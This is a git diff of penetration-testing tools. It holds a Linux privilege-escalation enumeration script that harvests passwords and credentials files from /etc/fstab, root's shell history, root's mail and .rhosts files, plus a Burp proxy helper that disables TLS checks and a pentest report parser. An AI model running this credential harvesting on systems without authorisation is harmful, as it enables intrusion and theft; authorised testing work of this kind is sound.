"$wwguidrt" ]; then + echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#list all world-writable files excluding /proc +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null` + if [ "$wwfiles" ]; then + echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +else + : +fi + +#looking for credentials in /etc/fstab +fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:` +if [ "$fstab" ]; then + echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .log files" + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + else + : + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +else + : +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null + else + : +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +else + : +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null + +#EndOfScript diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) 